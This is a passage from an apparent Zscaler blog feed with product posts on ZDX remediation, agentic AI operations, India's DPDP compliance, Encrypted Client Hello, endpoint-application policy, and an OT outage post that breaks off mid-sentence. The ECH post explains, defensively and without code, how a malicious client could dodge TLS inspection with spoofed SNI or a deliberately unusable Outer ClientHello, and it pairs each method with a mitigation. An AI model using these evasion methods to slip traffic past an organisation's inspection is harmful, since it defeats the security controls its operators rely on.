continue to add more. These scripts fix the ZIA root certificate path configuration in dev tools so they work properly through ZIA SSL interception, eliminating the need to bypass.The result: developers stay productive and traffic stays inspected. Zero trust stays intact.Because remediation runs through Zscaler Client Connector (the same agent already deployed for ZIA and ZPA), there's no additional deployment, no second agent, and no separate tool. IT identifies the issue in ZDX, runs the fix from the console, and the endpoint is back in compliance with the SASE policy.Here's how the remediation capabilities break down by tier:CapabilitySTD / ADVADV+Support custom scripts❌✅Import any type of prewritten script❌✅Import dev tool scripts✅✅Set parameters, confirmation popup &amp; configurations✅✅For decision-makers, this is a signal of where ZDX is headed: not just visibility into experience issues, but the ability to resolve them in a way that reinforces the security architecture rather than working against it. 19 Global Vantage Points for Synthetic Monitoring (Up from 6)Synthetic monitoring tells you whether applications and network paths are healthy before users report problems. But that signal is only representative if probes originate close to where users actually work. As our customer base expanded into more regions with hybrid and remote workforces, we heard a consistent request: monitoring that reflects the geographies where their people sit, not just the geographies where our original probe infrastructure happened to be.When probes originate far from the user population, latency baselines skew, regional ISP issues take longer to surface, and the data becomes less useful for root-cause isolation or SLA reporting.13 new cities across Americas, EMEA, and APACWe've expanded from 6 to 19 data centers for synthetic monitoring, adding 13 locations in major global cities:Americas: New York, Los Angeles, Dallas, Atlanta&nbsp;EMEA: London, Paris&nbsp;APAC: Mumbai, Delhi, Chennai, Singapore, Tokyo, Osaka, SydneyThese locations align with Zscaler's existing global data center footprint, which means synthetic probe data and real-user telemetry flowing through the SASE platform can be correlated in the same infrastructure. Synthetic baselines and live traffic data reinforce each other.Performance baselines that reflect real geography, and SLA confidence to matchWhat this unlocks in practice:Representative performance baselines per region and office, derived from probes that originate locally rather than extrapolated from distant locationsFaster root-cause isolation because hop-by-hop tracing starts closer to where the issue livesMonitoring that matches how global and hybrid workforces actually operateSLA and experience reporting to leadership backed by geographically accurate dataFor practitioners, your synthetic test results now reflect what users in those cities actually experience. For leadership, the reports you present are grounded in local measurement, not inference. What's NextBoth of these capabilities reinforce the same principle: the experience layer of a SASE platform should make the entire architecture more operationally complete. Remediation that restores zero trust posture. Monitoring that matches the global footprint the platform already serves.As ZDX continues to evolve, every capability we ship is designed to strengthen the Zscaler platform, not just the monitoring console. Better detection, broader coverage, and faster resolution reduce operational friction across the entire SASE deployment.Want to see these in action? Schedule a personalized ZDX demo or explore the latest at zscaler.com/zdx]]></description>
            <dc:creator>John Jones (Sr.Marketing Manager–Digital Experience Monitoring)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Operate Zscaler Zero Trust Exchange with the Agentic AI tool of Your Choice]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/operate-zscaler-zero-trust-exchange-agentic-ai-tool-your-choice</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/operate-zscaler-zero-trust-exchange-agentic-ai-tool-your-choice</guid>
            <pubDate>Mon, 14 Sep 2026 12:40:06 GMT</pubDate>
            <description><![CDATA[Introducing&nbsp;Zero Trust Exchange Agentic Operations, which enables customers to use their preferred AI agents to interact with Zscaler through a secure, governed, and auditable operational layer.Enterprise teams are rapidly moving from experimenting with AI to putting it to work. AI assistants are already helping administrators find information, summarize incidents, and answer operational questions about their various solutions. The graphical interface will remain important. APIs, SDKs, and infrastructure-as-code will continue to be essential.&nbsp;The next step is agentic: enabling AI not only to provide an answer, but to help carry a task through to completion.There is a growing demand for these agent-driven use cases. Practitioners of all stripes want agents that can investigate why a user cannot access an application, retrieve relevant configuration details, recommend remediation tactics, and, when authorized, take action. And they want all of this functionality to be available for the specific AI assistants, models, and development frameworks that best fit their organizations.AI agents are emerging as another operational interface—one that allows admins to express desired outcomes in natural language and have agents achieve them.Zscaler is evolving to support this shift.&nbsp;&nbsp;From predefined automation to agent-driven operationsTraditional automation works best when the process is known in advance. A team defines a sequence of API calls, encodes the logic in a script or workflow, and runs it when a specific event occurs.Agents introduce a more flexible model. An admin can describe the intended outcome, and an agent can interpret the request, determine which tools are relevant, identify the steps it should take, and perform the relevant action(s).For example, “Why can’t this user reach our finance application?” is not a single API request. Answering it may require gathering context, checking multiple signals, evaluating configuration, and determining whether the issue is caused by policy, identity, device posture, connectivity, or the application itself. An agent can help coordinate that investigation rather than requiring an administrator to manually navigate every step.As customers explore agentic workflows in a platform, they need a consistent way for agents to interact with the different services within that platform. Giving an agent access to a collection of raw administrative APIs is not enough. The platform needs to expose useful operational capabilities while still controlling how each agent connects, what it can discover, which actions it can perform, and how those actions are recorded.That is the role of&nbsp;Zero Trust Exchange Agentic Operations.&nbsp;Introducing&nbsp;Zero Trust Exchange Agentic OperationsAgentic Operations&nbsp;enables first-party and third-party AI agents to securely perform supported Zscaler operations.Customers can access these capabilities directly through&nbsp;ZAgent, Zscaler’s native agentic experience within the Experience Center. An administrator can describe an objective in natural language, and ZAgent interprets the request, engages the appropriate specialized Zscaler agents and skills, and returns a coordinated response. This gives customers an integrated way to investigate issues, obtain insights, and perform supported administrative tasks without navigating multiple products or manually coordinating each step.Zero Trust Exchange Agentic Operations extends these capabilities beyond the Experience Center through the Agentic Operations Gateway and its hosted&nbsp;Model Context Protocol (MCP) server. MCP is an open standard that gives AI applications a consistent way to discover and use tools provided by external systems. Through the hosted MCP server, commercial AI clients such as Claude and ChatGPT, as well as agents built by customers, can access supported Zscaler capabilities without requiring customers to deploy and maintain their own Zscaler MCP server.Rather than simply exposing individual APIs as tools, the Agentic Operations MCP server is designed around operational intents. An intent represents the outcome a user wants to achieve, such as investigating an access issue, validating a policy, or resolving a connectivity problem. Zscaler coordinates the underlying tools, API calls, validation, and sequencing needed to fulfill that intent.This makes agentic workflows easier and more reliable because the agent does not need to understand every Zscaler product or independently assemble a complex sequence of low-level API calls.Throughout the interaction, the&nbsp;Agentic Operations Gateway provides the routing, identity, authorization, approval controls, and auditing required for enterprise operations. Customers retain the flexibility to choose where their agents and reasoning models run, while Zscaler manages and governs the connection to its services.Meeting customers where they areWe recognize that different teams will adopt different assistants, models, orchestration frameworks, and deployment patterns. Some customers will use commercial AI experiences. Others will build specialized agents for their own service desk, security operations, or administrative workflows. Many will use both.Zscaler’s Agentic Operations is designed for that reality.Use the agent experience that fits the organization. Customers can connect supported Zscaler capabilities to the AI clients their teams already use rather than moving every workflow into another interface.Make Zscaler capabilities understandable to agents. Raw APIs are optimized for developers, not necessarily for models interpreting human intent. Governed tools and Zscaler-authored skills can give agents clearer, task-oriented ways to retrieve information and perform supported operations.Support commercial and customer-built agents. Customers can connect approved commercial AI clients such as Claude and ChatGPT, as well as their own custom agents, through an OAuth 2.1 authorization flow. After signing in, users review and choose which of their assigned administrative roles to grant to the client, and can later revoke that access.The goal is not to prescribe how customers adopt AI. It is to make Zscaler ready to participate securely in the agentic ecosystems they choose.Governance built into the operational pathAs agents take on more operational work, the actions they perform must remain subject to the same enterprise controls that customers expect elsewhere in their environment. The Agentic Operations Gateway is designed to provide those controls as part of the interaction itself:Customer-controlled client authorization: Administrators control which AI clients can connect to their Zscaler tenant, including predefined clients such as ChatGPT and Claude. Zscaler’s authentication service (formerly ZIdentity) uses standards-based client metadata to establish the client’s identity and configuration.User authentication and consent: When an admin connects to an approved AI client, the authentication service authenticates the admin through the customer’s existing sign-in process and presents the administrative roles available to that admin. The admin can choose which roles to authorize for the client, ensuring that access is both user-bound and explicitly granted.Visible and revocable access: Admins can review the applications they have authorized and revoke access when it is no longer needed. Super Administrators can review and revoke authorization grants across the organization.Auditable authorization lifecycle: Client registration, authorization requests, grants, denials, token refreshes, and revocations are recorded in Zscaler audit logs.These controls allow customers to expand the scope of their agentic use cases without creating an unmanaged path that circumvents established operational safeguards.What agentic operations can look likeConsider a user who reports that a business-critical application is not working.Today, a support or security team member may need to move between a ticket, multiple consoles, logs, policy configuration, and documentation to diagnose the issue. Even when the remediation is straightforward, collecting the context and determining the correct action can take time.With&nbsp;Agentic Operations, the customer’s preferred agent could invoke an intent to investigate the access issue. The hosted MCP server could route the request to the appropriate Zscaler capabilities, gather the relevant context, and return a likely cause and recommended remediation. If the proposed action requires approval, the agent could pause for confirmation. Once approved, the supported operation could be executed and the workflow recorded for auditing.&nbsp;The agent provides the experience and coordinates the interaction with the admin. Zscaler provides the trusted operational capabilities and governs how they are used.This model can extend across a growing range of use cases: retrieving configuration and posture information, investigating incidents, validating policy, responding to service desk requests, coordinating change workflows, and carrying out approved remediation.The value is a more intuitive and governed path from intent to operational outcome.Building the next interface to ZscalerThe move toward agent-driven operations will not replace existing consoles or automation tools. It simply expands the ways customers can work with Zscaler.Just as APIs enabled developers to build integrations, agents create a new interaction model for operational work. Customers can begin with simple tasks like using natural language to obtain information about their policies and gradually adopt more advanced workflows as their needs and governance models mature.Zero Trust Exchange Agentic Operations provides the foundation for that evolution: a hosted service, intent-based tools and skills, standards-based connectivity, intelligent routing, strong identity, least-privileged authorization, approval controls, and end-to-end auditability.Here's an example demo of how it works:&nbsp; By providing this foundation, Zscaler can continue supporting new agentic use cases while giving customers a consistent and controlled way to adopt them.Join the Early Access ProgramZero Trust Exchange Agentic Operations is opening for early access, and we are inviting customers and partners to help shape what comes next.Early access participants will be able to explore agent-driven Zscaler operations, validate priority use cases, and provide direct input into the intents, tools, skills, workflows, and governance capabilities we develop.We are particularly interested in hearing from organizations that are already using commercial AI assistants, building their own enterprise agents, or identifying operational workflows that could benefit from a more natural, agent-driven experience.AI agents are becoming a new interface for enterprise operations. Our goal is to make Zscaler capabilities available through that interface while preserving the control, visibility, and trust our customers require.Talk to your Zscaler representative to learn more and request participation in the&nbsp;Zero Trust Exchange Agentic Operations Early Access Program.]]></description>
            <dc:creator>Puja Wheeldon (Senior Product Manager)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Navigating India&#039;s DPDP Rules 2025]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/navigating-india-s-dpdp-rules-2025</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/navigating-india-s-dpdp-rules-2025</guid>
            <pubDate>Fri, 11 Sep 2026 13:35:06 GMT</pubDate>
            <description><![CDATA[India's Digital Personal Data Protection mandate is no longer on the horizon—it's here, and it demands action. With the official notification of the DPDP Rules 2025 and potential penalties reaching up to ₹250 crore, the mandate for "reasonable security safeguards" has moved from a legal clause to an urgent technical priority for security and privacy teams.The core challenge for CISOs, DPOs, and compliance teams is clear: how do you translate these strict, complex regulatory requirements into a modern, effective security architecture?While the DPDP framework introduces stringent legal obligations, the technical path to compliance can be straightforward with the right strategy and platform. The key is to map the specific operational rules to actionable technology controls.This post provides a mapping of the DPDP Rules 2025's key information security and privacy provisions to the capabilities of the&nbsp;Zscaler Data Security Platform. The goal is to provide a clear, unambiguous guide on how you can leverage Zscaler's powerful platform to address your compliance obligations and secure your organization's data in this new era. The DPDP Rules 2025 and Zscaler: A Comprehensive Compliance MappingThe following table serves as a practical blueprint for security and privacy professionals. It breaks down the most critical provisions from the officially notified DPDP Rules in sequential order, identifies the necessary technology controls, and maps them directly to the specific Zscaler components that help you achieve compliance. The "Justification" column explains precisely&nbsp;how&nbsp;each Zscaler tool addresses the regulatory mandate.    Conclusion: From Legal Obligation to Security ConfidenceThe DPDP Rules 2025 present a clear mandate for businesses operating in India: protect personal data by design or face severe consequences. As we've seen, achieving compliance is not merely an exercise in drafting policies; it requires a robust, integrated technical foundation.&nbsp;By leveraging the comprehensive capabilities of the Zscaler Data Security Platform—from&nbsp;Zero Trust Network Access (ZTNA) and Data Security Posture Management (DSPM) for visibility, to inline Data Loss Prevention (DLP) for enforcement, and Workflow Automation for incident management—organizations can build the "reasonable security safeguards" required . Zscaler provides not only the tools to protect data but also the critical visibility, evidence, and auditability required by&nbsp; the Data Protection Board of India.In this era of stringent data privacy, reactive measures are a liability. A proactive, platform-based approach to data security is essential. With Zscaler, you can move from a state of compliance uncertainty to one of security confidence, helping to ensure that your organization is secure by design.&nbsp;Is your business ready for the DPDP mandate?Talk to a Zscaler expert today to explore how the Zscaler Data Security Platform can streamline your compliance journey.&nbsp;&nbsp;&nbsp;This blog post has been created by Zscaler for informational purposes only and is provided "as is" without any guarantees of accuracy, completeness or reliability. Zscaler assumes no responsibility for any errors or omissions or for any actions taken based on the information provided. Any third-party websites or resources linked in this blog post are provided for convenience only, and Zscaler is not responsible for their content or practices. All content is subject to change without notice. By accessing this blog, you agree to these terms and acknowledge your sole responsibility to verify and use the information as appropriate for your needs.]]></description>
            <dc:creator>Rohit Gambhir (Principal Specialist Sales Engineer)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Encrypted Client Hello Is Here to Stay]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/encrypted-client-hello-ech-here-stay</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/encrypted-client-hello-ech-here-stay</guid>
            <pubDate>Fri, 11 Sep 2026 00:51:47 GMT</pubDate>
            <description><![CDATA[Encrypted Client Hello (ECH), standardised by the IETF in&nbsp;RFC 9849, is rapidly becoming a normal part of Internet connectivity.Google’s introduction of platform support for&nbsp;ECH in Android 17 is an important milestone. ECH itself is not new: Chrome enabled it starting with Chrome 117 in September 2023, followed closely by Firefox 119 in October 2023. Chromium-based browsers such as Microsoft Edge subsequently gained support as well. The vast majority of modern desktop browsers are therefore already ECH-capable. Android 17 confirms that ECH is moving beyond a browser-specific feature and becoming part of the mainstream application networking platform.This is good news for Internet privacy.TLS has long protected application data, including the URI being accessed, credentials, HTTP headers and content. But one particularly useful piece of metadata has traditionally remained visible: the Server Name Indication (SNI) extension in the TLS ClientHello, which normally identifies the hostname the client intends to contact.ECH protects the real SNI, along with other sensitive ClientHello information, from passive network observers.For enterprises, however, this deliberately changes an assumption that many security architectures have relied on for years: the SNI visible in a TLS ClientHello can no longer be assumed to identify the service the client is actually accessing.Fortunately, protecting user privacy and maintaining strong enterprise security are not mutually exclusive. From SNI to ECHSNI was created to solve a very practical problem.With HTTP, multiple websites can share the same IP address because the HTTP Host header tells the server which site the client wants. With HTTPS, TLS takes place before the HTTP request, so the server needs to know which certificate to present before it can read that encrypted Host header.Assigning a unique IPv4 address to every HTTPS service was not practical, and universal IPv6 deployment was nowhere close when the problem needed to be solved. SNI provided an elegant solution: put the hostname into the TLS ClientHello, allowing the server to select the correct certificate before establishing the encrypted connection. The inevitable consequence was that the hostname remained visible.Over time, SNI became useful for much more than virtual hosting. Enterprise security products used it for traffic classification and access control. Parental-control services used it for filtering. Security proxies used it to decide whether a connection should be decrypted or bypassed, for example when dealing with certificate-pinned applications. Censorship systems discovered the same signal.The first attempt to address the privacy issue was Encrypted SNI, or ESNI. The IETF work subsequently evolved into ECH, protecting the sensitive ClientHello rather than only one extension.That broader design also incorporated ECH GREASE. An ECH-capable client can send a realistic-looking dummy ECH extension even when it is not actually using ECH. This prevents the mere presence of the ECH extension from becoming a reliable signal for classification or blocking.This matters because both real ECH and GREASE ECH normally still contain a visible SNI. With real ECH, that SNI is normally a cover name while the actual destination is protected. With GREASE, the visible SNI is normally the real destination. An observer cannot simply see the ECH extension and assume it knows what the visible SNI means. How ECH Works, in BriefECH-capable services normally advertise their configuration using HTTPS or SVCB DNS records. This does not require DNS over HTTPS or DNSSEC; those provide different and complementary protections.The ECH configuration includes a public key and a public_name identifying the client-facing service.The client then constructs two TLS ClientHello messages:ClientHelloInner contains the real SNI and the TLS parameters the client actually wants to use.ClientHelloOuter is visible on the network. It normally contains the ECH public_name as its SNI and carries an encrypted representation of ClientHelloInner.If the destination successfully processes ECH, the TLS connection proceeds using the Inner ClientHello. The Outer ClientHello is therefore not an authoritative description of the actual connection.ECH is also deliberately downgrade resistant. If a server cannot process ECH, the client does not simply retry in plaintext. The rejection first has to be authenticated. In particular, the client authenticates the TLS peer against the ECH public_name. Only an authenticated peer can provide updated ECH configuration or securely indicate that ECH is unavailable.This distinction is important for enterprise environments. An arbitrary device on the network cannot simply strip ECH and make the client reveal its real SNI. A legitimate TLS inspection proxy explicitly trusted by a managed endpoint has a different relationship with the client and can participate in this authenticated fallback. What Changes for Enterprise Security?ECH intentionally makes visible SNI less trustworthy. That matters particularly where enterprises use SNI to decide which connections should bypass TLS inspection.Consider a certificate-pinned application. Because the application may reject certificates generated by a TLS inspection proxy, an enterprise might historically create an exception such as:If SNI is updates.pinned-app.example.com, bypass TLS inspection.That rule assumes the SNI proves that the connection actually belongs to the pinned application. It does not.With ECH, the visible SNI may be a cover name rather than the true destination. A malicious client can also deliberately construct an Outer ClientHello containing an SNI chosen to influence network policy. A broad SNI exception intended for one application can therefore become an attractive evasion mechanism for unrelated traffic.There is a second, subtler risk. A malicious client can put deliberately unsuitable TLS parameters into&nbsp;ClientHelloOuter, for example unsupported&nbsp;supported_groups values or a&nbsp;key_share that an inspection proxy cannot use. At the same time, it can place completely valid TLS parameters inside the encrypted&nbsp;ClientHelloInner.An ECH-capable destination that decrypts the Inner ClientHello can establish the connection normally. The enterprise proxy, however, sees only an Outer ClientHello that it cannot successfully inspect.If the security policy responds to that situation by classifying the connection as “undecryptable” and allowing it through without inspection, the attacker has achieved precisely the desired result.The important lesson is not that ECH is a security problem. It is that ECH makes security policies based on unauthenticated network hints increasingly fragile. Handling ECH Safely with Zscaler Internet AccessZscaler Internet Access uses multiple complementary controls to address these scenarios. The objective is not to weaken ECH, but to avoid depending on visible SNI as the sole source of truth.Control ECH discovery through DNSThe most straightforward place to prevent ECH negotiation when TLS inspection is required is before the TLS connection begins.Clients normally obtain ECH configuration through the&nbsp;ech parameter of HTTPS or SVCB DNS records. ZIA DNS Control can inspect DNS over UDP and TCP, as well as DNS over HTTPS when that traffic traverses ZIA and is decrypted.Zscaler recommends blocking HTTPS and SVCB resource-record queries where ECH needs to be suppressed and returning DNS response code 2,&nbsp;SERVFAIL. Ordinary A and AAAA resolution remains available, so the application can continue by establishing a conventional TLS connection without having obtained an ECH configuration.An ECH-capable client may still send ECH GREASE. That is expected and does not mean genuine ECH is being used.The current approach blocks the complete HTTPS/SVCB response and therefore also removes other information the record might contain. A future enhancement will make this more surgical by removing only the&nbsp;ech parameter while preserving other service hints.Use authenticated ECH fallback with trusted TLS inspectionDNS control alone is not sufficient. A client may already have an ECH configuration cached, or it may have obtained one through another mechanism.In that case, ZIA can make use of ECH's own authenticated fallback behaviour.When ZIA terminates the Outer TLS connection, the client does not receive a valid ECH acceptance confirmation and considers ECH rejected. ZIA then presents a certificate for the visible ECH&nbsp;public_name.On a managed endpoint configured to trust the Zscaler inspection CA, that certificate can be authenticated successfully. If no usable replacement ECH configuration is supplied, the client can securely disable ECH, close the first connection and establish a new one without ECH. The real SNI is then visible for TLS inspection.This is fundamentally different from stripping ECH in transit. The client itself chooses to retry without ECH only after an authenticated TLS exchange. An arbitrary network intermediary that is not trusted by the endpoint cannot do the same thing.Bind the SNI to the destination with Optimize DNS ResolutionEven after genuine ECH has been suppressed, blindly trusting SNI can still be dangerous.A malicious client might connect to an attacker-controlled IP address while putting the SNI of a trusted or inspection-exempt application into the ClientHello.Optimize DNS Resolution provides another layer of protection. ZIA can independently resolve the hostname visible in SNI or HTTP and, where appropriate, use its own resolution result rather than the destination IP supplied externally by the client.The client can therefore no longer freely combine a trusted-looking SNI with an attacker-selected destination IP address.Zscaler specifically identifies mitigation of ECH-based domain-fronting evasions as one of the security benefits of this capability. DNS Optimization can also operate when SSL/TLS inspection itself is bypassed, because the visible SNI remains available as an input to resolution.Replace broad SNI bypasses with Endpoint ContextThere is an even stronger answer to the problem of certificate-pinned applications.Instead of assuming that any connection carrying a particular SNI must have originated from the trusted application,&nbsp;Zscaler Endpoint Context can provide information about the process that actually created the connection.Endpoint Context collected through Zscaler Client Connector can include application name and publisher, cryptographic hashes, and code-signing certificate information. That context can be incorporated into SSL/TLS Inspection and other security policies.This allows an inspection exception to become much more precise.Instead of:If SNI is updates.pinned-app.example.com, bypass TLS inspection.a policy can effectively say:If the originating process has a cryptographic signature of expected certificate-pinned application and SNI is updates.pinned-app.example.com, bypass TLS inspection.Traffic using the same SNI but originating from a browser, an unknown process or malware does not automatically inherit the exception.This is a stronger policy model even without ECH. ECH simply makes the limitations of destination-only exceptions much more visible.Do not fail open on an unusable Outer ClientHelloFinally, a client should not be able to escape inspection simply by deliberately constructing an Outer ClientHello that the proxy cannot process.ZIA SSL/TLS Inspection policy provides a&nbsp;Block Undecryptable Traffic option. When enabled, traffic that cannot be processed for inspection is blocked instead of automatically being allowed through.Legitimate applications that cannot tolerate TLS inspection should receive explicit, narrowly scoped exceptions, ideally based on Endpoint Context where possible.The principle is simple: failure to inspect must not itself become a credential for bypassing inspection. ECH Is Here to StayECH fixes a genuine privacy weakness in TLS. Users should not have to disclose every hostname they access to every network that happens to forward their packets.Its growing deployment should be welcomed.At the same time, ECH means enterprises can no longer build security policy around the assumption that a plaintext SNI is authoritative. Fortunately, managed enterprise environments have stronger signals available.DNS visibility can control ECH discovery where inspection is required. Trusted TLS proxies can use ECH's authenticated fallback rather than attempting to circumvent the protocol. Optimize DNS Resolution can bind visible hostnames more closely to their real network destinations. Endpoint Context can make certificate-pinning exceptions application-aware. Fail-closed handling prevents intentionally unusable TLS handshakes from becoming a bypass.SNI was never intended to be a universal application identity mechanism. It became one because it was convenient, visible and usually accurate enough.ECH deliberately changes that.Encrypted Client Hello is here to stay. Enterprise security needs to evolve with it.]]></description>
            <dc:creator>Yaroslav Rosomakho (Chief Scientist)</dc:creator>
        </item>
        <item>
            <title><![CDATA[How to Enforce Zero Trust Policies Using Endpoint Application Context]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/how-enforce-zero-trust-policies-using-endpoint-application-context</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/how-enforce-zero-trust-policies-using-endpoint-application-context</guid>
            <pubDate>Thu, 10 Sep 2026 23:57:54 GMT</pubDate>
            <description><![CDATA[How to Enforce Zero Trust Policies Using Endpoint Application ContextOne of the core tenets of the Zscaler Zero Trust Architecture is least-privilege access: securely connecting users, workloads, and devices only to the applications they are authorized to use, and not to the broader network.To enforce least privilege, security controls must accurately identify&nbsp;what application a user or device is attempting to reach. For this, Zscaler supports multiple application-identification mechanisms for both web and non-web traffic.In this blog we’ll cover how SOC and IT teams can answer two key questions about any application or process running on an endpoint: “Which endpoint application generates certain traffic, and what is the associated risk context?” Answering these questions requires end-to-end visibility across endpoint activity, sanctioned and unsanctioned applications, and network sessions. How Zscaler Identifies Endpoint Applications Across Web and Non-Web TrafficBecause over 95% of global web traffic is encrypted1, TLS/SSL inspection is essential to completely identify the application and detect threats inside encrypted flows. These types of applications are URL categorizations and Cloud Apps.For non-web traffic, TLS/SSL inspection is typically not applicable. In these cases, Zscaler Zero Trust Firewall (ZTFW)—which secures traffic across all ports and protocols—can identify applications using approaches such as:FQDN / wildcard FQDN (wFQDN) matchingNetwork Services (protocol + port combinations)Network Applications (DPI-based identification)Application Services (groups of destinations + ports/protocols)1&nbsp;Google Transparency Report Comparing Application Identification Methods: Deep Packet Inspection (DPI), TLS/SSL Decryption, Network Services and MoreEach application identification method has distinct advantages and prerequisites. TLS/SSL decryption provides complete visibility into traffic contents, but primarily applies to encrypted web&nbsp;DPI-based identification works well for non-web traffic whether encrypted or not, though it may require multiple packets to accurately determine the application. Destination-based L3/L4 matching, such as Network Services and Application Services, enable first-packet classification but its effectiveness can be reduced when applications are delivered through CDN networks.Despite these strengths, all of these approaches share a common behavior:&nbsp;they identify traffic at the network/protocol level but do not identify the application on the endpoint that generated the traffic.&nbsp;For example, DPI may classify traffic as SSH, but it cannot indicate which specific client side application initiated the SSH session. Similarly, TLS/SSL decryption can reveal full web or FTP content, but it does not necessarily identify the browser (e.g. Chrome vs. Tor browser), version, or specific application responsible for generating that traffic. Why Endpoint Visibility Is Critical for Stopping Living off the Land (LOTL) AttacksToday’s attackers, whether AI-driven or human, rarely follow a single playbook. Instead, they increasingly rely on Living off the Land (LOTL) techniques—blending traditional malware with legitimate tools like WMI, and RDP. Because this activity often resembles normal operations, it can slip past detection methods based solely on signatures or destinations.As a result, it’s no longer sufficient to ask, “What application traffic is this?” You also need to know, “Which endpoint application generated this traffic, and what is the associated risk context?”Answering these questions requires end-to-end visibility across endpoint activity, sanctioned and unsanctioned applications, and network sessions. How Zscaler Delivers Ground-Truth App Visibility with Endpoint Application InventoryTo address gaps in reliable application identification and to help customers respond to LOTL techniques, Zscaler recently released Endpoint Application Inventory (powered by Zscaler Client Connector). Endpoint Application Inventory provides application-level visibility and risk assessment across endpoints and the cloud, enabling customers to understand:What applications are installedWhere they are installedWho is using themWhether the application has unresolved vulnerabilities and risk signalsUsing Endpoint Applications and Risk Signals as ZIA Security Policy CriteriaWe’re now extending this capability to beyond monitoring and classification, customers can now use Endpoint Applications and related risk signals directly in:Advanced Zero Trust Firewall policiesDNS Control policiesTLS/SSL inspection policiesAdvanced Threat ProtectionIPS Control (future)&nbsp;This enables policies to match not only on network attributes (e.g., like network app, IP, FQDN, port, protocol), but also on the&nbsp;originating endpoint application name, tags and risk level. For example, you can detect when risky or compromised applications initiate traffic and enforce policy based on the application’s risk level.&nbsp;Note:&nbsp;Some functionality may not be available immediately at launch and will be enabled in phases. Availability and feature scope may also vary depending on your license.&nbsp;&nbsp; Key Use Cases for Endpoint Application as Policy Criteria&nbsp;&nbsp;Use caseWhat it enablesAllow or block based on endpoint applicationApply policy actions—such as allow or block—based on the endpoint application that generated the traffic. This is especially valuable in Advanced Firewall policies, since Firewall can evaluate all traffic, both web and non-web, when it reaches ZIA.Canonical application identificationEndpoint applications provide the most authoritative (“ground truth”) application identity when Client Connector is present, reducing reliance on continual DPI-only detection expansion.Precision policy enforcement across Firewall/DNS/IPSCreate policies based on true endpoint application, not just destination or port/protocol.IPS integration with endpoint application dataThreatLabz and customer SecOps teams can create detections that incorporate endpoint application data even when traffic is encrypted or not decrypted.Richer logs for faster investigationsEndpoint application data (such as application name, risk level and type) in Firewall, DNS and Web Insights logs provides earlier, more actionable signals in the kill chain.Better visibility into encrypted communicationsHelps correlate encrypted cloud-bound communications to the originating endpoint application, augmenting endpoint categorization and response.&nbsp; ZIA Policy Examples: Block or Allow Traffic by Endpoint Application and Risk LevelZero Trust Firewall example:&nbsp;To block all traffic originating from Brave browser, you can apply a policy such as:&nbsp;If Endpoint Applications == brave.exe (Brave Browser), then Block.&nbsp;&nbsp;DNS Control example (application-specific allowance):If DNS Protocol == DNS over HTTPS and Endpoint Applications == Chrome, then Allow.This demo video provides more examples of using Endpoint Context application data used as policy criteria in ZIA. Conclusion: Elevate Security Accuracy with Endpoint Application IntelligenceBy including endpoints applications and risk as criteria in ZIA security policies —&nbsp; across Firewall, DNS Control, TLS/SSL Inspection and ATP policies — organizations can improve enforcement accuracy and strengthen early detection and prevention for modern threats, including Living off the Land (LOTL) techniques.Below is a quick summary of the available application identification techniques. Depending on the policy type you can combine multiple conditions within a single policy to increase accuracy for both targeting and control.Application identification methodBenefitsURL and Cloud App&nbsp;Good for identifying where the web traffic is destined to but not what is generating the web traffic (e.g. Chrome vs. Brave browser).Network ServicesGood for identifying ports and protocols being used but can miss applications on non-standard ports (e.g. SSH on port 2200).Application ServicesGood for knowing the L3/4 destinations on the first packet.Network Application (DPI-based identification)Good for identifying the application irrespective of the L3/L4 destination.Endpoint ApplicationsGood for identifying the endpoint application sending the traffic.]]></description>
            <dc:creator>Brendon Macaraeg (Principal Product Marketing Manager)</dc:creator>
        </item>
        <item>
            <title><![CDATA[The Containment Tax: When OT Outages Aren&#039;t OT Attacks]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/containment-tax-when-ot-outages-aren-t-ot-attacks</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/containment-tax-when-ot-outages-aren-t-ot-attacks</guid>
            <pubDate>Thu, 10 Sep 2026 20:39:10 GMT</pubDate>
            <description><![CDATA[Quick answer: Boston Scientific disclosed on September 8, 2026 that a cyberattack detected on August 25 disrupted manufacturing and order fulfillment for roughly two weeks, enough that the company no longer expects to meet its third-quarter and full-year guidance. The company has said the intrusion was limited to on-premises IT systems. Production stopped anyway, because several systems a plant depends on to run a shift - order release, scheduling, quality, identity - sit in enterprise IT and were taken offline to contain the incident. Many OT security programs secure the controllers but never fully map those dependencies. That gap is the containment tax.&nbsp; What actually stopped at Boston ScientificBoston Scientific&nbsp;detected unauthorized activity on its IT systems on August 25 and responded the way most companies would: it took affected systems offline while it investigated. That decision cut employees off from the applications they use to process and ship orders, and the effect reached the plants the same day. Staff at the company's Cork, Ireland site were&nbsp;sent home on August 25 because the systems their shift depends on were unavailable. Two weeks later, on September 8, the company&nbsp;told investors in a Form 8-K that it no longer expected to meet its third-quarter and full-year 2026 net sales growth and adjusted EPS guidance, with a revised outlook to follow with its third-quarter results on October 28. It added that it does not expect a material impact on its long-term financial condition. On September 9 it reported that manufacturing, order fulfillment and shipping were fully restored.What makes this incident worth studying is how little the attacker appears to have done relative to what it cost. In an&nbsp;August 30 update the company said the unauthorized activity was limited to certain on-premises systems, that its cloud systems were unaffected, and that investigators had found no indication of unauthorized activity in its environment after August 25. The attacker was contained within a day. The outage ran for two weeks and forced a revision to guidance.The company's own description of what went down is the most useful sentence in the record. It listed the affected systems as operational technology support functions and the business applications required to manufacture products, process customer orders, and ship devices. Nothing in the public record says a controller, an HMI, or anything on the plant network was touched. On the record this is not an OT compromise; it is an OT outage, caused by an IT containment decision. For the people running the line, that distinction did not change what the outage cost. It does change what would have prevented it. Two halves of securing a plantMost of the conversation about OT security, including a good share of what we have published, is about one problem: protecting the equipment that touches the physical process. Segmenting the controllers, brokering vendor remote access, inventorying devices that cannot take an agent, watching the engineering workstations that program the PLCs. That work is still needed and most plants are nowhere near done with it. But it is one half of securing a plant floor, and it addresses only one of the two ways a plant fails. The other half is staying available. Boston Scientific's outage came from the second half, while the first half, as far as anyone has said, held.Consider what a plant needs to run a single shift. An order has to 